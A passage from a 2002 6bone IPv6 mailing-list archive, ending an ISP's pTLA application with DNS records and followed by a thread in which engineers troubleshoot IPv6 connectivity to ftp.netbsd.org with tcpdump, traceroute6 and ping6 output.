>nautilus.ipv6.icpnet.pl. 600    IN      A       62.21.3.239
>nautilus.ipv6.icpnet.pl. 600    IN      AAAA    3ffe:8320:2:5:1::2
>news.ipv6.icpnet.pl.    600     IN      CNAME   ontario.ipv6.icpnet.pl.
>ontario.ipv6.icpnet.pl. 600     IN      A       62.21.98.6
>ontario.ipv6.icpnet.pl. 600     IN      AAAA    3ffe:8320:2:5:2::1
>z-portal-gw.pbern-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::7
>z-portal-gw.pollus-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::5
>z-amuwmid-gw.portal-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:11:2::
>z-icpnet-gw.portal-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::d
>z-ktnet-gw.portal-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::
>z-pbern-gw.portal-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::6
>z-pollus-gw.portal-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::4
>z-thelema-gw.portal-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::2
>z-undefine-gw.portal-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::8
>z-portal-gw.thelema-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::3
>z-portal-gw.undefine-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::9
>voyager.ipv6.icpnet.pl. 600     IN      A       62.21.3.1
>voyager.ipv6.icpnet.pl. 600     IN      AAAA    3ffe:8320:2:5:1::1
>z-icm-gw.voyager-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:11::2
>z-icpnet-gw.voyager-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::b
>www.ipv6.icpnet.pl.     600     IN      CNAME   ontario.ipv6.icpnet.pl.
>ipv6.icpnet.pl.         600     IN      SOA     ontario.icpnet.pl. 
>hostmaster.ontario.icpnet.pl. 2002061101 10800 600 604800 86400
>;; Query time: 23 msec
>;; SERVER: 62.21.98.6#53(ontario.icpnet.pl)
>;; WHEN: Wed Jun 12 21:03:10 2002
>;; XFR size: 36 records
>
>$ORIGIN .
>$TTL 600        ; 10 minutes
>f.0.7.0.0.0.0.1.0.8.e.f.f.3.ip6.int IN SOA dns.portalcafe.pl. 
>root\@scifi.eu.org. (
>                                 2002051806 ; serial
>                                 10800      ; refresh (3 hours)
>                                 600        ; retry (10 minutes)
>                                 604800     ; expire (1 week)
>                                 86400      ; minimum (1 day)
>                                 )
>                         NS      dns.portalcafe.pl.
>                         NS      voyager.ipv6.icpnet.pl.
>$ORIGIN f.0.7.0.0.0.0.1.0.8.e.f.f.3.ip6.int.
>$ORIGIN 0.0.0.0.0.0.0.0.0.0.0.d.e.e.f.0.0.f.0.7.0.0.0.0.1.0.8.e.f.f.3.ip6.int.
>0                       PTR     z-ktnet-gw.portal-gw.ipv6.icpnet.pl.
>1                       PTR     z-portal-gw.ktnet-gw.ipv6.icpnet.pl.
>2                       PTR     z-thelema-gw.portal-gw.ipv6.icpnet.pl.
>3                       PTR     z-portal-gw.thelema-gw.ipv6.icpnet.pl.
>4                       PTR     z-pollus-gw.portal-gw.ipv6.icpnet.pl.
>5                       PTR     z-portal-gw.pollus-gw.ipv6.icpnet.pl.
>6                       PTR     z-pbern-gw.portal-gw.ipv6.icpnet.pl.
>7                       PTR     z-portal-gw.pbern-gw.ipv6.icpnet.pl.
>8                       PTR     z-undefine-gw.portal-gw.ipv6.icpnet.pl.
>9                       PTR     z-portal-gw.undefine-gw.ipv6.icpnet.pl.
>a                       PTR     z-voyager-gw.icpnet-gw.ipv6.icpnet.pl.
>b                       PTR     z-icpnet-gw.voyager-gw.ipv6.icpnet.pl.
>c                       PTR     z-portal-gw.icpnet-gw.ipv6.icpnet.pl.
>d                       PTR     z-icpnet-gw.portal-gw.ipv6.icpnet.pl.
>
> > d. A fully maintained, and reliable, IPv6-accessible system
> > providing, at a mimimum, one or more web pages, describing the
> > Applicant's IPv6 services. This server must be IPv6 pingable.
>
>Our new IPv6 Accessible web page is under construction.
>Currently on http://www.ipv6.icpnet.pl/ is info about how
>to contact with us.
>
> > 2. The pTLA Applicant MUST have the ability and intent to provide
> > "production-quality" 6Bone backbone service. Applicants must
> > provide a statement and information in support of this claim.
> > This MUST include the following:
> >
> > a. A support staff of two persons minimum, three preferable, with
> > person attributes registered for each in the ipv6-site object
> > for the pTLA applicant.
>
>person:       Bartosz Waszak
>e-mail:       waszi@ipv6.icpnet.pl
>nic-hdl:      BW3-6BONE
>
>person:       Krzysztof Palicki
>e-mail:       chris@poczta.icpnet.pl
>nic-hdl:      KP4-6BONE
>
> > b. A common mailbox for support contact purposes that all support
> > staff have acess to, pointed to with a notify attribute in the
> > ipv6-site object for the pTLA Applicant.
>
>ipv6@ipv6.icpnet.pl
>
>This address is configured as a "e-mail" attribute in the "role" object.
>
> > 3. The pTLA Applicant MUST have a potential "user community" that
> > would be served by its becoming a pTLA, e.g., the Applicant is a
> > major provider of Internet service in a region, country, or focus
> > of interest. Applicant must provide a statement and information in
> > support this claim.
>
>ICP is providing internet access by cable modems or directly to
>our backbone by Ethernet. We have about 10'000 users,
>so we are in Poland one of the major ISPs.
>
> > 4. The pTLA Applicant MUST commit to abide by the current 6Bone
> > operational rules and policies as they exist at time of its
> > application, and agree to abide by future 6Bone backbone
> > operational rules and policies as they evolve by consensus of the
> > 6Bone backbone and user community.
>
>We agree to abide by the rules as they exist now and as they may evolve in
>the future.
>
> > When an Applicant seeks to receive a pTLA allocation, it will apply
> > to the 6Bone Operations Group (see section 8 below) by providing to
> > the Group information in support of its claims that it meets the
> > criteria above.
> >
> >8. 6Bone Operations Group
> >
> > The 6Bone Operations Group is the group in charge of monitoring and
> > policing adherence to the current rules. Membership in the 6Bone
> > Operations Group is mandatory for, and restricted to, sites
> > connected to the 6Bone.
> >
> > The 6Bone Operations Group is currently defined by those members of
> > the existing 6Bone mailing list who represent sites participating in
> > the 6Bone. Therefore it is incumbent on relevant site contacts to
> > join the 6Bone mailing list. Instructions on how to join the list
> > are maintained on the 6Bone web site at < http://www.6bone.net>.
>
>Regards
>
>--
>Bartosz Waszak <waszi@icpnet.pl>
>Internet Cable Provider Sp. z o.o.
>(http://www.icpnet.pl/)



From rvdp@kirk.rvdp.org Thu Jun 13 16:12:48 2002
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Date: Fri, 14 Jun 2002 01:12:45 +0200
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: 6bone@mailman.isi.edu
Message-ID: <20020613231245.GA36510@rvdp.org>
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Subject: [6bone] problem with ftp.netbsd.org
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I cannot ftp to ftp.bsd.org:

spock$ ftp ftp.netbsd.org
Connected to ftp.netbsd.org.
<no further output>

Tcpdump shows (spock is 2001:610:508:1001:260:1dff:fef6:7ff9):

00:37:02.458730 2001:610:508:1001:260:1dff:fef6:7ff9.1310 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: S [tcp sum ok] 3384697445:3384697445(0) win 57344 <mss 1440,nop,wscale 0,nop,nop,timestamp 5546340 0> (len 40, hlim 64)
00:37:02.764566 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21 > 2001:610:508:1001:260:1dff:fef6:7ff9.1310: S [tcp sum ok] 131386982:131386982(0) ack 3384697446 win 32768 <mss 1440,nop,wscale 0,nop,nop,timestamp 8620681 5546340> (len 40, hlim 54)
00:37:02.764799 2001:610:508:1001:260:1dff:fef6:7ff9.1310 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: . [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5546370 8620681> (len 32, hlim 64)
00:37:10.547821 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5547149 8619797> (len 32, hlim 64)
00:38:14.548802 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5553549 8619797> (len 32, hlim 64)
00:39:18.549774 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5559949 8619797> (len 32, hlim 64)
00:40:22.550736 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5566349 8619797> (len 32, hlim 64)
00:41:26.551704 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5572749 8619797> (len 32, hlim 64)
00:42:30.552678 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5579149 8619797> (len 32, hlim 64)
00:43:34.553613 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: R [tcp sum ok] 2:2(0) ack 1 win 58548 (len 20, hlim 64)

Several people have informed me that they can reach ftp.netbsd.org over
IPv6.

I am thinking about a routing problem from ftp.netbsd.org towards me,
but on the other hand the tcpdump above shows I do get one packet from
ftp.netbsd.org in the handshaking phase.

I tried this on freebsd-stable, netbsd-current and netbsd 1.5.3 with the
same result.

'ftp -4 ftp.netbsd.org' is working fine. v6 ftp to other v6 ftp servers
is also working, so no firewall issues. Traceroute is also working:
spock$ traceroute6 -q 1 -l  ftp.netbsd.org
traceroute6 to ftp.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea) from 2001:610:508:1001:260:1dff:fef6:7ff9, 30 hops max, 12 byte packets
 1  kirk (2001:610:508:1001:220:afff:fec6:4faa)  3.201 ms
 2  surrogate.ipv6.surfnet.nl (2001:610:508:1000::1)  7.9 ms
 3  surfnet-bv.Amsterdam.ipv6.surf.net (2001:610:0:2001::1)  13.627 ms
 4  PO4-0.CR2.Amsterdam1.surf.net (2001:610:16:3048::49)  16.897 ms
 5  PO0-0.BR2.Amsterdam1.surf.net (2001:610:16:6004::6)  15.136 ms
 6  ams-ix.sara.xs4all.net (2001:7f8:1::a500:3265:1)  13.938 ms
 7  nikhef.ams-ix.ipv6.intouch.net (2001:7f8:1::a500:8954:1)  12.436 ms
 8  3ffe:1280:1001:1::1 (3ffe:1280:1001:1::1)  382.62 ms
 9  3ffe:80a::1 (3ffe:80a::1)  203.762 ms
10  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  204.275 ms
11  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)  306.499 ms

Any suggestions what could be wrong here?

	rvdp

PS This is quite annoying because I have the same problem with
www.netbsd.org and I use mozilla-1.0.

From jeroen@unfix.org Thu Jun 13 17:14:57 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Ronald van der Pol'" <Ronald.vanderPol@rvdp.org>,
   <6bone@mailman.isi.edu>
Subject: RE: [6bone] problem with ftp.netbsd.org
Date: Fri, 14 Jun 2002 02:14:44 +0200
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> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu 
> [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Ronald van der Pol
> Sent: Friday, 14 June 2002 01:13
> To: 6bone@mailman.isi.edu
> Subject: [6bone] problem with ftp.netbsd.org
> 
> 
> I cannot ftp to ftp.bsd.org:
> 
> spock$ ftp ftp.netbsd.org
> Connected to ftp.netbsd.org.
> <no further output>
> 
> Tcpdump shows (spock is 2001:610:508:1001:260:1dff:fef6:7ff9):
> 
<SNIP>

8<----------------
jeroen@purgatory:~$ telnet -6 www.netbsd.org 80
Trying 3ffe:8050:201:1860:290:27ff:feab:19a7...
Connected to www.netbsd.org.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.netbsd.org

----------->8
wait wait wait, but no reply :(

> Several people have informed me that they can reach ftp.netbsd.org
over IPv6.
HTTP has the same problem.

> I am thinking about a routing 
> problem from ftp.netbsd.org towards me,
> but on the other hand the tcpdump above shows I do get one packet from
> ftp.netbsd.org in the handshaking phase.
I even get a connect ;)

> I tried this on freebsd-stable, netbsd-current and netbsd 1.5.3 with
the same result.
> Any suggestions what could be wrong here?
Then again I am probably behind the same uplink (IPng/Intouch :)
So it could still be between the netherlands and the US....

Greets,
 Jeroen


From randy@psg.com Thu Jun 13 17:21:49 2002
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Subject: RE: [6bone] problem with ftp.netbsd.org
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% ping6 ftp.netbsd.org
PING6(56=40+8+8 bytes) 2001:418:1:0:2e0:18ff:fe02:6ec9 --> 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea
16 bytes from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea, icmp_seq=0 hlim=59 time=33.077 ms
16 bytes from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea, icmp_seq=1 hlim=59 time=32.97 ms
16 bytes from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea, icmp_seq=2 hlim=59 time=32.597 ms

% uname -a
FreeBSD roam.psg.com 4.6-RC FreeBSD 4.6-RC #18: Fri May 24 14:09:23 PDT 2002   6

From itojun@itojun.org Thu Jun 13 17:51:12 2002
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      <20020613231245.GA36510@rvdp.org> 
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Subject: Re: [6bone] problem with ftp.netbsd.org 
From: itojun@iijlab.net
Date: Fri, 14 Jun 2002 09:51:07 +0900
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>I cannot ftp to ftp.bsd.org:
>Several people have informed me that they can reach ftp.netbsd.org over
>IPv6.
>
>I am thinking about a routing problem from ftp.netbsd.org towards me,
>but on the other hand the tcpdump above shows I do get one packet from
>ftp.netbsd.org in the handshaking phase.
>
>I tried this on freebsd-stable, netbsd-current and netbsd 1.5.3 with the
>same result.
>
>Any suggestions what could be wrong here?

	there seems to be some config mistake within ISI (who hosts 
	tp.netbsd.org), regarding to link MTU setting of tunnel interface.
	i heard that they have changed the config so it should be better now.
	(at least, it is much better for me)

	i myself have experienced it before - Juniper sets tunnel interface MTU
	to infinity, and KAME uses 1280.

itojun

From jeroen@unfix.org Thu Jun 13 17:55:50 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Randy Bush'" <randy@psg.com>
Cc: "'Ronald van der Pol'" <Ronald.vanderPol@rvdp.org>,
   <6bone@mailman.isi.edu>
Subject: RE: [6bone] problem with ftp.netbsd.org
Date: Fri, 14 Jun 2002 02:55:39 +0200
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Randy Bush [mailto:randy@psg.com] wrote:

> % ping6 ftp.netbsd.org
> PING6(56=40+8+8 bytes) 2001:418:1:0:2e0:18ff:fe02:6ec9 --> 
> 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea
> 16 bytes from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea, 
> icmp_seq=0 hlim=59 time=33.077 ms
> 16 bytes from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea, 
> icmp_seq=1 hlim=59 time=32.97 ms
> 16 bytes from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea, 
> icmp_seq=2 hlim=59 time=32.597 ms
> 
> % uname -a
> FreeBSD roam.psg.com 4.6-RC FreeBSD 4.6-RC #18: Fri May 24 
> 14:09:23 PDT 2002   6

I got some of those too, they will syn/ack but no data :(

tunnelserver.ipng.nl:
8<--------------------
jeroen@tunnelserver:~$ traceroute6 ftp6.netbsd.org
traceroute6 to ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)
from 2001:6e0::250:4ff:fe4a:7708, 30 hops max, 16 byte packets
 1  Amsterdam.core.ipv6.intouch.net (2001:6e0::2)  1.75 ms  0.411 ms
0.388 ms
 2  3ffe:1280:1001:1::1 (3ffe:1280:1001:1::1)  298.968 ms *  315.534 ms
 3  3ffe:80a::1 (3ffe:80a::1)  159.079 ms  159.268 ms  158.932 ms
 4  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  160.742 ms  160.487 ms
159.343 ms
 5  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)  159.866 ms
159.95 ms  160.722 ms

jeroen@tunnelserver:~$ ping6 ftp6.netbsd.org
PING ftp6.netbsd.org(ftp6.netbsd.org) 56 data bytes
64 bytes from ftp6.netbsd.org: icmp_seq=0 time=160.3 ms
64 bytes from ftp6.netbsd.org: icmp_seq=1 time=349.0 ms
64 bytes from ftp6.netbsd.org: icmp_seq=2 time=197.7 ms
64 bytes from ftp6.netbsd.org: icmp_seq=3 time=202.2 ms
64 bytes from ftp6.netbsd.org: icmp_seq=4 time=206.6 ms
64 bytes from ftp6.netbsd.org: icmp_seq=5 time=210.5 ms

--- ftp6.netbsd.org ping6 statistics ---
6 packets transmitted, 6 packets received, 0% packet loss
round-trip min/avg/max = 160.3/221.0/349.0 ms
jeroen@tunnelserver:~$ uname -a
Linux tunnelserver 2.4.17ipng #1 Fri Jan 25 14:54:39 CET 2002 i586
unknown
jeroen@tunnelserver:~$ telnet ftp6.netbsd.org 21
Trying 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea...
Connected to ftp6.netbsd.org.
Escape character is '^]'.

-------------------->8
It will connect, but nothing more, something is dropping packets I
think.
Unfortunatly these boxes all take the same route over amsterdam.intouch
(2001:6e0::2)
so the problem could be behind that box, though I don't think it's that
one as I kinda trust it :)
Odd thing: connecting to port 80 on the ftp6.netbsd.org doesn't get
refused.
Is this thing a v6 loadbalancer ? :)

Greets,
 Jeroen


From itojun@itojun.org Thu Jun 13 18:13:43 2002
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Subject: Re: [6bone] problem with ftp.netbsd.org 
From: itojun@iijlab.net
Date: Fri, 14 Jun 2002 10:13:40 +0900
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>	there seems to be some config mistake within ISI (who hosts 

	s/ISI/ISC/

itojun

From darko@hytron.net Thu Jun 13 18:18:02 2002
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From: Darko <darko@hytron.net>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
cc: <6bone@mailman.isi.edu>
Subject: Re: [6bone] problem with ftp.netbsd.org
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Try nslookup -q=AAAA ftp.bsd.org
You will see that there is no AAAA record for that host, therefore you
cannot use IPv6 to reach it.

Darko

On Fri, 14 Jun 2002, Ronald van der Pol wrote:

> Date: Fri, 14 Jun 2002 01:12:45 +0200
> From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
> To: 6bone@mailman.isi.edu
> Subject: [6bone] problem with ftp.netbsd.org
>
> I cannot ftp to ftp.bsd.org:
>
> spock$ ftp ftp.netbsd.org
> Connected to ftp.netbsd.org.
> <no further output>
>
> Tcpdump shows (spock is 2001:610:508:1001:260:1dff:fef6:7ff9):
>
> 00:37:02.458730 2001:610:508:1001:260:1dff:fef6:7ff9.1310 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: S [tcp sum ok] 3384697445:3384697445(0) win 57344 <mss 1440,nop,wscale 0,nop,nop,timestamp 5546340 0> (len 40, hlim 64)
> 00:37:02.764566 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21 > 2001:610:508:1001:260:1dff:fef6:7ff9.1310: S [tcp sum ok] 131386982:131386982(0) ack 3384697446 win 32768 <mss 1440,nop,wscale 0,nop,nop,timestamp 8620681 5546340> (len 40, hlim 54)
> 00:37:02.764799 2001:610:508:1001:260:1dff:fef6:7ff9.1310 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: . [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5546370 8620681> (len 32, hlim 64)
> 00:37:10.547821 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5547149 8619797> (len 32, hlim 64)
> 00:38:14.548802 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5553549 8619797> (len 32, hlim 64)
> 00:39:18.549774 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5559949 8619797> (len 32, hlim 64)
> 00:40:22.550736 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5566349 8619797> (len 32, hlim 64)
> 00:41:26.551704 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5572749 8619797> (len 32, hlim 64)
> 00:42:30.552678 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: F [tcp sum ok] 1:1(0) ack 1 win 58548 <nop,nop,timestamp 5579149 8619797> (len 32, hlim 64)
> 00:43:34.553613 2001:610:508:1001:260:1dff:fef6:7ff9.1308 > 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.21: R [tcp sum ok] 2:2(0) ack 1 win 58548 (len 20, hlim 64)
>
> Several people have informed me that they can reach ftp.netbsd.org over
> IPv6.
>
> I am thinking about a routing problem from ftp.netbsd.org towards me,
> but on the other hand the tcpdump above shows I do get one packet from
> ftp.netbsd.org in the handshaking phase.
>
> I tried this on freebsd-stable, netbsd-current and netbsd 1.5.3 with the
> same result.
>
> 'ftp -4 ftp.netbsd.org' is working fine. v6 ftp to other v6 ftp servers
> is also working, so no firewall issues. Traceroute is also working:
> spock$ traceroute6 -q 1 -l  ftp.netbsd.org
> traceroute6 to ftp.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea) from 2001:610:508:1001:260:1dff:fef6:7ff9, 30 hops max, 12 byte packets
>  1  kirk (2001:610:508:1001:220:afff:fec6:4faa)  3.201 ms
>  2  surrogate.ipv6.surfnet.nl (2001:610:508:1000::1)  7.9 ms
>  3  surfnet-bv.Amsterdam.ipv6.surf.net (2001:610:0:2001::1)  13.627 ms
>  4  PO4-0.CR2.Amsterdam1.surf.net (2001:610:16:3048::49)  16.897 ms
>  5  PO0-0.BR2.Amsterdam1.surf.net (2001:610:16:6004::6)  15.136 ms
>  6  ams-ix.sara.xs4all.net (2001:7f8:1::a500:3265:1)  13.938 ms
>  7  nikhef.ams-ix.ipv6.intouch.net (2001:7f8:1::a500:8954:1)  12.436 ms
>  8  3ffe:1280:1001:1::1 (3ffe:1280:1001:1::1)  382.62 ms
>  9  3ffe:80a::1 (3ffe:80a::1)  203.762 ms
> 10  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  204.275 ms
> 11  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)  306.499 ms
>
> Any suggestions what could be wrong here?
>
> 	rvdp
>
> PS This is quite annoying because I have the same problem with
> www.netbsd.org and I use mozilla-1.0.
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From tony@lava.net Thu Jun 13 18:45:40 2002
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From: Antonio Querubin <tony@lava.net>
To: Darko <darko@hytron.net>
cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>, <6bone@mailman.isi.edu>
Subject: Re: [6bone] problem with ftp.netbsd.org
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On Thu, 13 Jun 2002, Darko wrote:

> Try nslookup -q=AAAA ftp.bsd.org
> You will see that there is no AAAA record for that host, therefore you
> cannot use IPv6 to reach it.

True enough but the problem was/is with ftp.netbsd.org, not ftp.bsd.org.

% host -a ftp.netbsd.org
Trying null domain
rcode = 0 (Success), ancount=2
The following answer is not verified as authentic by the server:
ftp.netbsd.org  3600 IN A       204.152.184.75
ftp.netbsd.org  3600 IN AAAA    3ffe:8050:201:1860:2a0:c9ff:feed:b7ea



From tlangdon@atctraining.com.au Thu Jun 13 19:50:34 2002
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To: "'Darko'" <darko@hytron.net>,
   Ronald van der Pol
	 <Ronald.vanderPol@rvdp.org>
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Subject: RE: [6bone] problem with ftp.netbsd.org
Date: Fri, 14 Jun 2002 12:50:18 +1000
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> Try nslookup -q=AAAA ftp.bsd.org
> You will see that there is no AAAA record for that host, therefore you
> cannot use IPv6 to reach it.

Hmm, the site was ftp.netbsd.org,which does have IPv6 address.

; <<>> DiG 9.2.0 <<>> ftp.netbsd.org any
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40363
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 5, ADDITIONAL: 6

;; QUESTION SECTION:
;ftp.netbsd.org.                        IN      ANY

;; ANSWER SECTION:
ftp.netbsd.org.         3594    IN      A       204.152.184.75
ftp.netbsd.org.         3594    IN      AAAA
3ffe:8050:201:1860:2a0:c9ff:feed
:b7ea
                                                                       
.....<snip>

Now for a ping...

[root@ipv6gw1 rc.d]# ping6 ftp.netbsd.org
PING ftp.netbsd.org(3ffe:8050:201:1860:2a0:c9ff:feed:b7ea) 56 data bytes
64 bytes from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea: icmp_seq=2 ttl=58
time=410
ms
64 bytes from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea: icmp_seq=3 ttl=58
time=430
ms
64 bytes from 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea: icmp_seq=4 ttl=58
time=420
ms                 

FTP connection worked fine for me also, no dramas

[root@ipv6gw1 rc.d]# ftp 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea
Connected to 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea
(3ffe:8050:201:1860:2a0:c9ff:
feed:b7ea).
220 ftp6.netbsd.org FTP server (NetBSD-ftpd 20020201) ready.
Name (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea:root): anonymous
331 Guest login ok, type your name as password.
Password:              

Also worked by name on IPv6

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From jeroen@unfix.org Thu Jun 13 19:58:18 2002
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To: <itojun@iijlab.net>, "'Ronald van der Pol'" <Ronald.vanderPol@rvdp.org>
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Subject: RE: [6bone] problem with ftp.netbsd.org 
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itojun@iijlab.net wrote:

> >I cannot ftp to ftp.bsd.org:
> >Several people have informed me that they can reach ftp.netbsd.org
over IPv6.
> >
> >I am thinking about a routing problem from ftp.netbsd.org towards me,
> >but on the other hand the tcpdump above shows I do get one packet
from
> >ftp.netbsd.org in the handshaking phase.
> >
> >I tried this on freebsd-stable, netbsd-current and netbsd 1.5.3 with
the
> >same result.
> >
> >Any suggestions what could be wrong here?
> 
> 	there seems to be some config mistake within ISI (who hosts 
> 	tp.netbsd.org), regarding to link MTU setting of tunnel
interface.
> 	i heard that they have changed the config so it should be better
now.
> 	(at least, it is much better for me)
> 
> 	i myself have experienced it before - Juniper sets tunnel
interface MTU
> 	to infinity, and KAME uses 1280.

Let's try again from purgatory.unfix.org:
8<--------------------------
jeroen@purgatory:~$ telnet www.jp.freebsd.org 21
Trying 3ffe:501:185b:101:2a0:24ff:fe57:e561...
Connected to www.jp.freebsd.org.
Escape character is '^]'.
220 tortoise.jp.freebsd.org FTP server (Version 6.00) ready.
^]
telnet> q
Connection closed.
jeroen@purgatory:~$ telnet ftp6.netbsd.org 21
Trying 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea...
Connected to ftp6.netbsd.org.
Escape character is '^]'.
-------------------------->8

Still no response back :(

Greets,
 Jeroen


From stuart@tech.org Thu Jun 13 20:51:19 2002
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To: 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org 
Date: Thu, 13 Jun 2002 20:51:12 -0700
From: Stephen Stuart <stuart@tech.org>
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If anyone is still having problems with TCP sessions to/from
ftp.netbsd.org, please send me traceroutes.

Thanks,
Stephen

From mail@thomas--schaefer.de Thu Jun 13 23:36:02 2002
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From: Thomas Schaefer <mail@thomas--schaefer.de>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org
Date: Fri, 14 Jun 2002 08:35:52 +0200
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Am Freitag, 14. Juni 2002 03:45 schrieb Antonio Querubin:
> On Thu, 13 Jun 2002, Darko wrote:
> > Try nslookup -q=AAAA ftp.bsd.org
> > You will see that there is no AAAA record for that host, therefore you
> > cannot use IPv6 to reach it.
>
> True enough but the problem was/is with ftp.netbsd.org, not ftp.bsd.org.
>
> 

And now it seems to work very well:
-----------------------------------------------
thomas@witz:~> nslookup -query=any ftp.netbsd.org
Note:  nslookup is deprecated and may be removed from future releases.
Consider using the `dig' or `host' programs instead.  Run nslookup with
the `-sil[ent]' option to prevent this message from appearing.
Server:         212.185.252.201
Address:        212.185.252.201#53

Name:   ftp.netbsd.org
Address: 204.152.184.75
ftp.netbsd.org  has AAAA address 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea

thomas@witz:~> ftp 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea
Connected to 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea.
220 ftp6.netbsd.org FTP server (NetBSD-ftpd 20020201) ready.
Name (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea:thomas): anonymous
331 Guest login ok, type your name as password.
Password:
230-

